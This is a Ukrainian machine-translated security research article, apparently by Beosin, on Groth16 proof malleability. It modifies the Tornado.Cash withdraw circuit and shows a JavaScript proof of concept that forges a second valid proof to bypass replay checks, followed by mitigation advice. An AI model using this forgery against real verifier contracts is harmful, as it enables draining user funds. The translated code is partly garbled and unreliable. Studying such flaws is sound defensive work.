Глибоке занурення в Tornado.Cash розкриває атаки податливості проектів zkp

金色财经_

У попередній статті ми пояснили прогалини в системі підтвердження Groth16 з принципової точки зору. У цій статті ми розглянемо проект Tornado.Cash як приклад, змінимо деякі його схеми та коди, запровадимо атаку на пластичність процес і я сподіваюся, що інші учасники проекту zkp також звернуть увагу на відповідні превентивні заходи в проекті. Серед них Tornado.Cash використовує бібліотеку snarkjs для розробки, яка також базується на наступному процесі розробки та буде представлена безпосередньо пізніше.Якщо ви не знайомі з бібліотекою, прочитайте першу статтю цієї серії. (Беосін | Поглиблений аналіз уразливості zk-SNARK із нульовим розпізнаванням: чому система з нульовим розпізнаванням не надійна?)! [346a815b39293aee95668fb9b2049873] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-96823e64cc-dd1a6f-1c6801 “7076908”)

(Джерело:

1 Tornado.Cash Architecture

Процес взаємодії Tornado.Cash в основному включає 4 сутності: * Користувач: Використовуйте цю програму DApp для проведення конфіденційних транзакцій із мікшером, включаючи депозити та зняття коштів.

  • Веб-сторінка: зовнішня веб-сторінка DApp, яка містить деякі кнопки користувача.
  • Ретранслятор: щоб запобігти запису вузлами в ланцюжку такої інформації, як IP-адреса, яка ініціювала приватну транзакцію, сервер відтворюватиме транзакцію замість користувача, що ще більше підвищує конфіденційність.
  • Контракт: містить проксі-контракт Tornado.Cash Proxy, який вибере вказаний пул Tornado для подальших операцій по внесенню та виведенню коштів відповідно до суми депозитів і зняття користувачів. Зараз існує 4 пули з сумами 0,1, 1, 10 і 100.

Користувач спочатку виконує відповідні операції на зовнішній веб-сторінці Tornado.Cash, щоб ініціювати транзакцію депозиту або зняття коштів, а потім Relayer пересилає запит транзакції до контракту Tornado.Cash Proxy у ланцюжку та пересилає його відповідному Пул відповідно до суми транзакції та, нарешті, Для обробки депозитів і зняття коштів конкретна структура така: ! [f471dfca152796f84a6389ff3a6d96ac] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-fa8e75c3b3-dd1a6f-1c6801 “7076909”) Як змішувач валют Tornado.Cash має дві спеціальні бізнес-функції: * депозит : коли користувач проводить депозитну транзакцію, він спочатку вибирає депонований токен (BNB, ETH тощо) і відповідну суму на зовнішній веб-сторінці. Щоб краще забезпечити конфіденційність користувача, можна депонувати лише чотири суми;

! [fc9fe4cf9b1b8528e2446d23f39afc9a] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-22994b5b68-dd1a6f-1c6801 “7076910”)

Джерело: <

Потім сервер згенерує два 31-байтних випадкових чисел, обнулювач і секрет, і після їх з’єднання виконає операцію pedersenHash, щоб отримати зобов’язання, і поверне обнулювач+секрет плюс префікс як примітку для користувача. Примітка виглядає так: : ! [83feeca678c53c26a5cfe70f55d29f10] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-64aba8733a-dd1a6f-1c6801 “7076911”)* Потім ініціюється транзакція депозиту, щоб надіслати зобов’язання та інші дані до проксі-сервера Tornado.Cash контракт у ланцюжку, проксі-контракт пересилає дані до відповідного пулу відповідно до суми депозиту, і, нарешті, контракт пулу вставляє зобов’язання як листовий вузол у дерево Merkle та зберігає обчислений корінь у контракті пулу.

  • зняти: коли користувач здійснює транзакцію зняття коштів, спочатку введіть дані нотатки та адресу отримання, яка повертається під час введення депозиту, на зовнішній веб-сторінці;

! [49898b341e39bdbebd651b5d3918faef] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-54deb436c4-dd1a6f-1c6801 “7076912”)

Джерело зображення: <* Потім сервер отримає всі події депозиту Tornadocash у ланцюжку, витягне зобов’язання для побудови дерева Merkle у ланцюжку та згенерує зобов’язання та відповідний Merkle відповідно до наданих даних примітки (нуліфікатор+секрет). Шлях користувача та відповідний корінь використовуються як вхідні дані для отримання доказу SNARK із нульовим знанням; нарешті, ініціюється транзакція зняття з проксі-контракту Tornado.Cash у ланцюжку, а потім переходить до відповідного контракту пулу для перевірки підтвердження відповідно до параметрів, і Гроші зараховуються на адресу одержувача, вказану користувачем.

Серед них ядро виведення коштів у Tornado.Cash фактично полягає в тому, щоб довести, що в дереві Merkle існує певне зобов’язання, не розкриваючи нуліфікатор і секрет, який зберігає користувач.Конкретна структура дерева Merkle виглядає наступним чином: ! [a56d827c9d275989d6948e23280123ce] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-2215203ef5-dd1a6f-1c6801 “7076913”)## 2 Tornado.Cash magic модифікована версія

2.1 Tornado.Cash magic change

Для першої статті Принцип атаки пластичності Groth16 ми знаємо, що зловмисник може створити кілька різних доказів, використовуючи той самий нуліфікатор і секрет. Якщо розробник не врахує атаку подвійного витрачання, спричинену повторним відтворенням доказу, це стане загрозою для фінансування проекту . **Перед чарівною модифікацією Tornado.Cash ця стаття вперше представляє код у пулі, де Tornado.Cash нарешті обробляє виведення:

/** @dev Зняти депозит з контракту. proof — це дані підтвердження zkSNARK, а вхідні дані — це масив загальнодоступних вхідних даних схеми. Масив вхідних даних складається з: - кореня merkle усіх депозитів у контракті - хешу унікального нуліфікатора депозиту для запобігання подвійним витратам - одержувача коштів - додаткової комісії, яка йде відправнику транзакції (зазвичай це ретрансляція) */ функція стягнення( bytes calldata _proof, bytes32 _root, bytes32 _nullifierHash, address payable _recipient, address payable _relayer, uint256 _fee, uint256 _refund ) external payable nonReentrant { require(_fee <= denomination, “Комісія перевищує вартість переказу”); require(!nullifierHashes[_nullifierHash], “Нота вже витрачена”); require(isKnownRoot(_root), “Не вдається знайти ваш корінь merkle”); // Обов’язково використовуйте останній require( verifier.verifyProof( _proof, [uint256(_root), uint256(_nullifierHash), uint256(_recipient), uint256(_relayer), _fee, _refund] ) , «Недійсний доказ вилучення» ); nullifierHashes[_nullifierHash] = істина; _processWithdraw(_recipient, _relayer, _fee, _refund); випустити зняття (_recipient, _nullifierHash, _relayer, _fee); }

На наведеному вище малюнку, щоб запобігти використанню зловмисниками того самого Proof для здійснення атак подвійних витрат без розкриття нуліфікатора та секрету, Tornado.Cash додає до схеми загальнодоступний сигнал nullifierHash, який отримується хешуванням Педерсена nullifier і може використовуватися як параметр. Передається в ланцюжок, контракт пулу потім використовує цю змінну, щоб визначити, чи було використано правильне підтвердження. Однак, якщо сторона проекту не використовує метод модифікації схеми, а безпосередньо записує метод Proof, щоб запобігти подвійним витратам, зрештою, це може зменшити обмеження схеми та заощадити витрати, але чи може це досягти мети? Для цього припущення ця стаття видалить нещодавно доданий загальнодоступний сигнал nullifierHash у схемі та змінить перевірку контракту на перевірку доказу. Оскільки Tornado.Cash отримує всі депозитні події кожного разу, коли знімає, створює дерево merkle, а потім перевіряє, чи згенероване значення кореня знаходиться в межах останніх 30, весь процес надто складний, тому схема в цій статті також видалить схему merkleTree , Залишається лише основна схема вивідної частини, а конкретна схема виглядає наступним чином:

включають “…/…/…/…/node_modules/circomlib/circuits/bitify.circom”; include “…/…/…/…/node_modules/circomlib/circuits/pedersen.circom”;// обчислює Pedersen(nullifier + secret)template CommitmentHasher() { signal input nullifier; секрет входу сигналу; зобов’язання щодо виведення сигналу; // вихід сигналу nullifierHash; // видалити компонент commitmentHasher = Pedersen(496); // компонент nullifierHasher = Pedersen(248); компонент nullifierBits = Num2Bits(248); компонент secretBits = Num2Bits(248); nullifierBits.in <== nullifier; secretBits.in <== секрет; for ( i = 0; i < 248; i++) { // nullifierHasher.in [i] <== nullifierBits.out [i] ; // видалити commitmentHasher.in [i] <== nullifierBits.out [i] ; commitmentHasher.in[i + 248] <== secretBits.out [i] ; } зобов’язання <== commitmentHasher.out [0] ; // nullifierHash <== nullifierHasher.out [0] ; // delete}// Перевіряє, що зобов’язання, яке відповідає заданому секрету та нуліфікатору, включено в дерево Merkle депозитів зобов’язання вихідного сигналу; одержувач введення сигналу; // не бере участі в обчисленнях вхідний ретранслятор сигналу; // не бере участі в жодних обчисленнях вхідна плата за сигнал; // не бере участі в жодних обчисленнях. // не бере участь у жодних обчисленнях signal input nullifier; секрет входу сигналу; хешер компонента = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== секрет; зобов’язання <== hasher.commitment; // Додайте приховані сигнали, щоб переконатися, що втручання в одержувача чи плату призведе до недійсності доказу snark // Швидше за все, це не потрібно, але краще залишатися на безпечній стороні, і для цього потрібні лише 2 обмеження // Для запобігання використовуються квадрати оптимізатор від видалення цих обмежень signal recipientSquare; сигнал feeSquare; сигнальне релеКвадрат; сигнал refundSquare; recipientSquare <== recipient * recipient; feeSquare <== fee * fee; relayerSquare <== relayer * relayer; refundSquare <== refund * refund;}component main = Withdraw(20);

Примітка: під час експерименту ми виявили, що TornadoCash в останній версії коду на GitHub (у схемі зняття відсутній вихідний сигнал і для правильної роботи потрібна корекція вручну. Відповідно до наведеної вище модифікованої схеми використовуйте бібліотеку snarkjs тощо, щоб крок за кроком стежити за процесом розробки, наведеним у цій статті, і створити наступний звичайний доказ, який записується як proof1:

Доказ: { pi_a: [ 12731245758885665844440940942625335911548255472545721927606279036884288780352n, 1102956704503334056654836789330 4052946457319632960669053932271922876268005970n, 1n ], pi_b: [ [ 44246702835564656221971875467540946678373831664796154745151821 83878046002081n, 8088104569927474555610665242983621221932062943927262293572649061565902268616n ], [ 919424846311598694035981 1988096155965376840166464829609545491502209803154186n, 18373139073981696655136870665800393986130876498128887091087060068369 811557306n ], [ 1n, 0n ] ], pi_c: [ 1626407734863381433630916916203225704171957179582436403191883565668143772631n, 103752049021 25491773178253544576299821079735144068419595539416984653646546215n, 1n ], протокол: 'groth16 ', крива: ‘bn128’}

2.2 Експериментальна перевірка

2.2.1 Доказ перевірки — договір за замовчуванням, створений circom

Перш за все, ми використовуємо контракт за замовчуванням, створений circom для перевірки. Оскільки контракт не записує жодної інформації, пов’язаної з доказом, яка була використана взагалі, зловмисник може відтворити proof1 кілька разів, щоб викликати атаку подвійного витрачання. У наступних експериментах доказ можна відтворювати нескінченно для того самого входу тієї самої схеми, і всі вони можуть пройти перевірку. ! [caaf8474774d0ffaaea894961231e604] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-36bda9ebd9-dd1a6f-1c6801 “7076914”) На зображенні нижче наведено знімок екрана експерименту з використанням proof1 у контракті за замовчуванням, щоб підтвердити, що перевірка пройдено, включаючи попередню статтю Параметри доказу A, B і C, використані в , і кінцевий результат:

! [8796de83786dab2e1d2fe8988a2a8c3c] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-1d87d37558-dd1a6f-1c6801 “7076915”)

На малюнку нижче показано використання того самого proof1 для виклику функції verifyProof кілька разів для перевірки доказів. Експеримент виявив, що для того самого введення, незалежно від того, скільки разів зловмисник використовує proof1 для перевірки, він може передати: ! [058bfa45cfac5803990db4cb707c737b] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-6f3b277d3a-dd1a6f-1c6801 “7076916”) Звичайно, ми тестуємо у рідній бібліотеці коду js snarkjs, і ми не тестували вже використане підтвердження, яке було передано на захист, експериментальні результати такі: ## 2.2.2 Підтвердження перевірки - звичайний контракт проти повторного відтворення

Для вразливості відтворення в контракті за замовчуванням, створеному circom, ця стаття записує значення у правильному доказі (proof1), яке було використано для запобігання атакам відтворення за допомогою перевіреного підтвердження, як показано на наступному малюнку: ! [9afeb481747b16752a00b70c5562bac2] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-384e9b2889-dd1a6f-1c6801 “7076917”) Продовжуйте використовувати proof1 для перевірки. Експеримент виявив, що під час використання того самого Proof для вторинної перевірки, транзакцію скасовано Помилка: «Букет уже витрачено», результат такий, як показано на малюнку нижче: ! [40293d602538a60400dffa795e0454dd] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-d09fb1e9c2-dd1a6f-1c6801 “7076918”) Але Незважаючи на те, що мета запобігання звичайним атакам повторного відтворення наразі досягнута, попередній вступ У алгоритмі groth16 існує проблема вразливості пластичності, і цей запобіжний захід все ще можна обійти. Тож ми створюємо PoC на малюнку нижче та генеруємо фальшивий сертифікат zk-SNARK для того самого входу відповідно до алгоритму з першої статті. Експеримент показує, що він все ще може пройти перевірку. Код PoC для генерації підробленого доказу proof2 виглядає наступним чином:

імпорт WasmCurve з "/Users/saya/node_modules/ffjava/src/wasm_curve.js"імпорт ZqField з "/Users/saya/node_modules/ffjava/src/f1field.js"імпорт groth16FullProve з "/Users /saya/node_modules/snarkjs/src/groth16_fullprove.js"import groth16Verify з “/Users/saya/node_modules/snarkjs/src/groth16_verify.js”;імпорт * як криві з “/Users /saya/node_modules/snarkjs/src/curves.js”;імпорт fs з “fs”;імпорт { utils} з “ffjava”;const {unstringifyBigInts} = utils;groth16_exp();асинхронна функція groth16_exp (){ let inputA = “7”; нехай inputB = “11”; const SNARK_FIELD_SIZE = BigInt(‘21888242871839275222246405745257275088548364400416034343698204186575808495617’); // 2. 读取string后转化为int const proof = await unstringifyBigInts(JSON.parse(fs.readFileSync(“proof.json”,“utf8”))); console.log(“Доказ:”,доказ); // 生成逆元,生成的逆元必须在F1域 const F = нове ZqField(SNARK_FIELD_SIZE); // const F = new F2Field(SNARK_FIELD_SIZE); const X = Fe(“123456”) const invX = F.inv(X) console.log(“x:” ,X ) console.log(“invX” ,invX) console.log(“TimesScalar is:”, F.mul(X,invX)) // 读取椭圆曲线G1、G2点 const vKey = JSON.parse(fs.readFileSync(“verification_key.json”,“utf8”)); // console.log(“Крива:”,vKey); const curve = await curves.getCurveFromName(vKey.curve); const G1 = крива.G1; const G2 = крива.G2; const A = G1.fromObject(proof.pi_a); const B = G2.fromObject(proof.pi_b); const C = G1.fromObject(proof.pi_c); const new_pi_a = G1.timesScalar(A, X); //A’=x*A const new_pi_b = G2.timesScalar(B, invX); //B’=x^{-1}*B proof.pi_a = G1.toObject(G1.toAffine(A)); proof.new_pi_a = G1.toObject(G1.toAffine(new_pi_a)) proof.new_pi_b = G2.toObject(G2.toAffine(new_pi_b)) // 将生成的G1、G2点转化为proof console.log(“proof.pi_a:”,proof.pi_a); console.log(“proof.new_pi_a:”,proof.new_pi_a) console.log(“proof.new_pi_b:”,proof.new_pi_b)}

Створений підроблений доказ proof2 показано на малюнку нижче: Під час використання цього параметра для повторного виклику функції verifyProof для перевірки доказів експеримент виявив, що перевірка proof2 пройшла знову у випадку того самого введення, як показано нижче: ! [03d0f119ea666620685b4cece791a789] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-4c49de3755-dd1a6f-1c6801 “7076919”) Хоча підроблений доказ2 можна використати лише ще раз, через те, що підроблених є майже нескінченна кількість доказів, тож це може призвести до нескінченного вилучення коштів контракту. У цій статті також використовується код js бібліотеки circom для тестування, а експериментальні результати proof1 і fake proof2 можуть пройти перевірку: ! [9153431b50b81dcadbf68930ded584c3] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-934c4ab3e4-dd1a6f-1c6801 “7076920”)## 2.2.3 Підтвердження перевірки — договір про відтворення Tornado.Cash

Після стільки невдач, хіба немає способу зробити це раз і назавжди? Тут, згідно з практикою Tornado.Cash щодо перевірки, чи було використано оригінальний вхід, ця стаття продовжує змінювати код контракту таким чином: ! [28fabffcac9037a41e030db84f44f83b] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-dfa6f29d35-dd1a6f-1c6801 “7076921”) Слід зазначити, що для демонстрації простих заходів для запобігання гнучкій атаці Алгоритм groth16, *\ *Ця стаття застосовує метод безпосереднього запису вихідного вхідного сигналу схеми, але це не відповідає принципу конфіденційності доказу нульового знання, і вхідні дані схеми повинні зберігатися конфіденційними. **Наприклад, вхідні дані в Tornado.Cash є приватними, і для ідентифікації підтвердження необхідно додати новий загальнодоступний вхід. У цьому документі, оскільки в схемі немає нового логотипу, конфіденційність відносно низька порівняно з Tornado.Cash. Він використовується лише як експериментальна демонстрація для демонстрації наступних результатів: ! [ac4624fc066156979fae817e327c6224] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-440d87e977-dd1a6f-1c6801 “7076922”) Можна виявити, що доказ, який використовує ті самі вхідні дані на малюнку вище, може передати лише proof1 для перший раз, то ні proof1, ні підроблений proof2 не можуть пройти перевірку. ## 3 Резюме та рекомендації

У цьому документі в основному перевіряється справжність і шкідливість уразливості відтворення шляхом модифікації схеми TornadoCash і використання контракту за замовчуванням, створеного Circom, який зазвичай використовується розробниками, а також перевіряється, що звичайні заходи, які використовуються на рівні контракту, можуть захистити від відтворення. У зв’язку з цим ми рекомендуємо, щоб проекти з нульовими знаннями звертали увагу на наступне під час розробки проекту: * На відміну від традиційних DApps, які використовують унікальні дані, такі як адреси, для створення даних вузла, zkp У проектах зазвичай використовується комбінація випадкових чисел. Щоб створити вузли дерева Merkle, потрібно звернути увагу на те, чи дозволяє бізнес-логіка вставляти вузли з однаковим значенням. **Оскільки однакові дані кінцевого вузла можуть спричинити блокування деяких коштів користувача в контракті або в одних даних кінцевого вузла є кілька доказів Merkle, які плутають бізнес-логіку. **

  • Сторона проекту zkp зазвичай використовує відображення для запису використаного доказу, щоб запобігти атакам подвійного витрачання. **Слід зауважити, що під час розробки з Groth16 через наявність атак пластичності для запису потрібно використовувати вихідні дані вузла, а не лише ідентифікацію даних, пов’язаних з доказом. **
  • Складні схеми можуть мати проблеми, такі як невизначеність схеми та недостатні обмеження, умови перевірки контракту неповні та є лазівки в логіці впровадження.** Ми наполегливо рекомендуємо, щоб сторона проекту шукала певні дослідження схем і контрактів, коли проект буде завершено. Компанії з аудиту безпеки проводять комплексні перевірки, щоб максимально забезпечити безпеку проекту. **
Переглянути оригінал
Застереження: Інформація на цій сторінці може походити від третіх осіб і не відображає погляди або думки Gate. Вміст, що відображається на цій сторінці, є лише довідковим і не є фінансовою, інвестиційною або юридичною порадою. Gate не гарантує точність або повноту інформації і не несе відповідальності за будь-які збитки, що виникли в результаті використання цієї інформації. Інвестиції у віртуальні активи пов'язані з високим ризиком і піддаються значній ціновій волатильності. Ви можете втратити весь вкладений капітал. Будь ласка, повністю усвідомлюйте відповідні ризики та приймайте обережні рішення, виходячи з вашого фінансового становища та толерантності до ризику. Для отримання детальної інформації, будь ласка, зверніться до Застереження.
Прокоментувати
0/400
Немає коментарів